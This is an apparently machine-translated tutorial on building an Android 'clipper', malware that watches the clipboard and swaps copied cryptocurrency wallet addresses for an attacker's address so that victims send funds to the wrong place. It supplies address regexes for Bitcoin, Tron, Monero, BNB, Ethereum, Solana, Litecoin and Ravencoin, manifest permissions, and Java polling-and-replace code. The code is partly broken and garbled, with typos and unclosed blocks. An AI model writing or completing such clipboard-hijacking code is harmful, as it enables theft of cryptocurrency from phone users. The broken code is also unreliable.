Android Clipper / Клиппер на Android + 代码

Clipper 在 Android 上的应用

概述、示例和技术细节在本文中,我们将讨论 Android 上的 Clippers 主题。我将提供一个简单的 Clipper 示例,解释其内部工作原理,并讨论加密货币钱包模式。

剪子有什么作用? -Clipper 是一种恶意软件,可以监视受害者设备上剪贴板的内容。它等待受害者复制加密钱包地址。

之后,裁剪器检查缓冲区中的文本是否与加密货币地址的模式匹配。如果找到匹配,剪辑器就会用攻击者控制的地址替换原始地址。受害者在没有仔细检查地址的情况下,将资金发送到欺骗的地址。操作原理简单但有效。让我们来看看技术细节。

加密钱包模式的示例 -我们来看看Bech32标准中的比特币地址格式。模式示例:

String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11.71}$”;

模式分析:

^bc1:所有 Bech32 格式地址均以“bc1”开头。[ac-hj-np-z02-9]:地址主要部分允许的字符范围。{11,71}:字符数,从 11 到 71。这些限制由 Bech32 标准定义。

不同的加密货币使用自己的地址格式。

其他加密货币钱包模式 –

Tron:

String tronPattern = “^T[1-9A-HJ-NP-Za-km-z]{33}$”;

Monero:

String moneroPattern = “^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$”;

Binance Coin (BNB):

String bnbPattern = “^bnb1[ac-hj-np-z02-9]{38}$”;

Ethereum:

String ethereumPattern = “^0x[a-fA-F0-9]{40}$”;

Solana:

String solanaPattern = “^[1-9A-HJ-NP-Za-km-z]{32,44}$”;

Litecoin:

String litecoinPattern = “^(L|M|ltc1)[a-zA-Z0-9]{26,48}$”;

Ravencoin:

String ravencoinPattern = “^R[1-9A-HJ-NP-Za-km-z]{33}$”;

每个模式对应于特定加密货币的唯一地址格式。

让我们继续看一个 Android 上的示例,该示例将检查剪贴板是否存在加密钱包并将其替换为我们的地址。

但在此之前我们需要在 AndroidManifest.xml 中设置权限 –

<uses-permission android:name=”android.permission.INTERNET” />*

<uses-permission android:name=”android.permission.WAKE_LOCK” />*

<uses-permission android:name=”android.permission.FOREGROUND_SERVICE” /> *

<uses-permission android:name=”android.permission.FOREGROUND_SERVICE_DATA_SYNC” />*

<uses-permission android:name=”android.permission.READ_CLIPBOARD”/>

在此示例中,无法授予访问互联网和使用 WAKE_LOCK 在 FOREGROUND_SERVICE 中工作的权限,但如果您想要完整的权限,那么无论如何你都会需要它。

clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);

handler = new Handler();
clipboardChecker = new Runnable() {
@Override

public void run() {
ClipData clipData = clipboardManager.getPrimaryClip();

if (clipData != null && clipData.getItemCount() > 0) {

CharSequence clipboardText = clipData.getItemAt(0).getText();

if (clipboardText != null) {

String address = clipboardText.toString().trim();

String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11,71}$”; String tronPattern = “^T[1-9A-HJ-NP-Za-km-z]{33}$”;

String moneroPattern = “^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$”.,

String bnbPattern = “^bnb1[ac-hj-np-z02-9]{38}$”;

String ethereumPattern = “^0x[a-fA-F0-9]{40}$”;

String solanaPattern = “^[1-9A-HJ-NP-Za-km-z]{32,44}$”;

String litecoinPattern = “^(L|M|ltc1)[a-zA-Z0-9]{26,48}$”;

String ravencoinPattern = “^R[1-9A-HJ-NP-Za-km-z]{33}$”;

if (Pattern.matches(bitcoinPattern, address))

{updateClipboard(“Bitcoin”);

} else if (Pattern.matches(tronPattern, address)) { updateClipboard(“Tron”);

} else if (Pattern.matches(moneroPattern, address)) { updateClipboard(“Monero”);

} else if (Pattern.matches(bnbPattern, address)) { updateClipboard(“BNB”);

} else if (Pattern.matches(ethereumPattern, address)) { updateClipboard(“Ethereum”);

} else if (Pattern.matches(solanaPattern, address)) { updateClipboard(“Solana”);

} else if (Pattern.matches(litecoinPattern, address)) { updateClipboard(“Litecoin”);

} else if (Pattern.matches(ravencoinPattern, address)) { updateClipboard(“Ravencoin”);

handler.postDelayed(this, 500); handler.post(clipboardChecker);

private void updateClipboard(String newText) { ClipData clip = ClipData.newPlainText(“label”, newText); clipboardManager.setPrimaryClip(clip); clipp.setText(newText); Toast.makeText(MainActivity.this, “Буфер обмена обновлен: ” + newText, Toast.LENGTH_SHORT).show();

评论!

应该注意的是,在 FOREGROUND_SERVICE 中使用剪贴板可能很困难。